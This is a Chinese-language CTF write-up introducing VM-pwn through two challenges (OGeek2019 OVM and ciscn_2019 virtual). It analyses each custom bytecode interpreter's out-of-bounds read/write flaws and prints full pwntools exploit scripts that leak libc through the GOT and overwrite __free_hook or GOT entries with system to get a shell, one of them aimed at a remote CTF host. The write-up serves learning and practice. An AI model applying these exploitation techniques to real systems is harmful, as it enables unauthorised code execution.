文章共計2761個詞
預計閱讀7分鐘
來和我一起閱讀吧
引言之前一直沒去了解過vm-pwn,做一些題目對vm-pwn進行一個大體上的了解,算是入門。
對指令有過了解
有耐心(感覺vm程序的代碼量有點大)
[OGeek2019 Final]OVM檢測保護canary沒開啟
ida分析main函數fetch函數fetch函數較為簡單,即取出pc值,以pc值作為下標返回指定的指令
可以看到指令是由幾個部分組成的,其實execute函數就是一個指令表,我們通過指令表輸入相應的指令就可以完成相應的操作。
指令表
操作碼|操作數1|操作數2|操作數3op |num1 |num2 |num3--操作碼0x70: reg[num1] = reg[num3]+reg[num2] | add指令0xB0: reg[num1] = reg[num3]^reg[num2] | 異或指令0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令0xFF: 若reg[13]為0,則退出,否則列印指令集0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令0x90: reg[num1] = reg[num3] & reg[num2] |與指令0xA0: reg[num1] = reg[num3] | reg[num2] |或指令0x80: reg[num1] = reg[num2] - reg[num3] | sub指令0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令0x50: stack[op] = reg[num1] | push指令0x60: reg[num1] = stack[reg[13]] | pop指令0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令0x10: reg[num1] = v2(最低位) | set指令0x20: reg[num1] = v2 ==0
其中漏洞點在於兩條指令,由於數組的下標沒有進行限制,則會產生數組越界的情況。則造成了任意地址寫和任意地址讀的情況。0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令 0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令
採用movsxd指令進行下標的轉移,movsxd是進行符號填充再進行轉移,即數組的下標是有符號數。
可以看到用於保存指令的memory以及用於寄存器存儲的reg的地址都比got表的地址大,那麼大數組的下標為負數時,即可越界讀取got表內的地址,完成基地址的洩露
思路首先程序再結束時,會往comment[0]的內容作為地址寫入,然後將comment[0]給free掉,那麼可以將comment[0]的內容修改為free_hook-4,此時可以將free_hook-4修改為/bin/sh\x00,free_hook修改為system從而獲得shell
由於需要將commnet[0]修改為free_hook-4,那麼首先需要洩露libc_base的地址,由於讀取操作沒有對下標進行限制,因此進行任意地址讀,讀取got表項的內容,洩露libc的地址
將讀取得到libc地址,利用指令表的算數運算求得free_hook-4的地址,利用寫操作沒有對下標進行限制,進行任意地址寫,往comment[0]內寫入free_hook-4的地址
#step1 讀取got表項內容0x100a0001, 0x100b0009, 0xc00a0a0b, 0x10010001, 0x10020006, 0xc0030102, 0x10010004, 0x10000006, 0x70030301, 0x80040003, 0x30050004, 0x7004040d,0x30060004,解釋一下-0x3e,我們找到需要洩露的got表項的地址,與memory地址相減,然後要除以4,因為這個值為數組的下標,而數組的大小為int型,因此要除以4,即可求出目標地址的下標值
#step2 往commnet[0]寫入由於以及洩露出got表現的地址,該地址與free_hook-4的地址相對偏移是不變的,因此就需要利用指令表的指令進行算數運算求出free_hook-4的地址即可,接著再次利用數組越界將free_hook-4寫入comment[0]即可
0x10000003,0x1001000f,0xc0000001,0x10010005,0xc0000001,0x10020004,0x1001000f,0xc0020201,0x10010001,0xc0020201,0x70000002,0x1001000c,0x10020002,0xc0020201,0x70000002,0x10010008,0x10020002,0xc0020201,0x70000002,0x10010004,0x1002000b,0xc0020201,0x70000002,0x70050500,0x10000000,0x10010008,0x80000001,0x40050000,0x10010001,0x70000001,0x40060000,0xff000000
完整expfrom pwn import *libc = ELF("libc.so.6")context(arch='amd64',os='linux')sh = process("./pwn")free_hook = libc.symbols['__free_hook']print 'free_hook:'+hex(free_hook)code = [0x100a0001, 0x100b0009, 0xc00a0a0b, 0x10010001, 0x10020006, 0xc0030102, 0x10010004, 0x10000006, 0x70030301, 0x80040003, 0x30050004, 0x7004040d,0x30060004,0x10000003,0x1001000f,0xc0000001,0x10010005,0xc0000001,0x10020004,0x1001000f,0xc0020201,0x10010001,0xc0020201,0x70000002,0x1001000c,0x10020002,0xc0020201,0x70000002,0x10010008,0x10020002,0xc0020201,0x70000002,0x10010004,0x1002000b,0xc0020201,0x70000002,0x70050500,0x10000000,0x10010008,0x80000001,0x40050000,0x10010001,0x70000001,0x40060000,0xff000000 ]sh.recvuntil("PC:")sh.sendline(str(0))sh.recvuntil("SP:")sh.sendline(str(1))sh.recvuntil("CODE SIZE:")sh.sendline(str(len(code)))sh.recvuntil("CODE: ")for i in code: sleep(0.1) sh.sendline(str(i))sh.recvuntil("R5: ")addr1 = sh.recv(8)print 'addr1:'+addr1sh.recvuntil("R6: ")addr2 = sh.recv(4)print 'addr2:'+addr2addr = int('0x'+addr2+addr1,16)print 'addr:'+hex(addr)libc_base = addr - 0x3c67a0system = libc_base + libc.symbols['system']print 'system:'+hex(system)sh.recvuntil("OVM?")payload = '/bin/sh\x00'+p64(system)attach(sh)sh.send(payload)sh.interactive()檢測保護ida分析main函數
ciscn_2019_qual_virtual程序開始開闢了三個空間,用於存放指令,數據,以及用於操作的數據空間。
指令表指令間是通過分隔符執行分隔的,分隔符有 \n\r\t存進了名為delim的變量,strtok是根據分隔符將字符串分割出來,就是為了區分我們輸入的指令。指令是採用字符串進行輸入的。
execute在執行指令的函數裡,具體的指令操作沒有反編譯出來,我們需要動態調試將指令具體的操作的函數偏移調試出來。
將斷點斷在跳轉時,因為rax是通過動態賦值的,因此ida不能分析出具體跳轉的函數
進入gdb進行動態調試
輸入你需要查找的指令
查看此時rax的值
在ida內,G鍵輸入跳轉,輸入rax的值
可以發現這裡會調用一個函數,這個函數就是save指令的操作,其餘指令的操作也可以這樣調試出來,就不一一演示了。
save
save函數就是從運行棧的棧頂中取出兩個值,一個值作為下標,另一個作為值進行賦值,很顯然是一個任意地址寫的功能,因為下標的值沒有進行限制,因此存在一個數組越界。
load
存在一個任意地址寫,按照套路,就應該存在一個任意地址讀,我們來看下load函數,load函數就是從運行棧的棧頂取出一個值作為下標,並且將該下標的值存入運行棧中,位於運行棧的棧頂。通用存在數組越界
思路完整exp
from pwn import *
libc = ELF("libc.so.6")sh = remote("node3.buuoj.cn",26845)puts_got = 0x404020sh.recvuntil("name:")sh.sendline("/bin/sh\x00")sh.recvuntil("instruction:")payload= 'push push load push sub div load push add 'payload+= 'push push load push sub div save 'sh.sendline(payload) sh.recvuntil("data:")payload = str(8)+' 'payload += str(-4)+' 'payload += str(puts_got+8)+' 'payload += str(-0x2a300)+' 'payload += str(8)+' 'payload += str(-5)+' 'payload += str(puts_got+8)+' 'sh.sendline(payload)sh.interactive()